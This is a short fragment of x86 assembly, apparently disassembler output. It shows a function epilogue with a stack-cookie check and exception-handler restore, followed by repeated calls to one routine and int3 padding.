add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1006f1b5
jmp 0x1006efe2
push ecx
push edx
call fcn.1009517b
add esp, 8
mov al, byte [ebp - 0x431]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10094e23
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
call fcn.100a129f
int3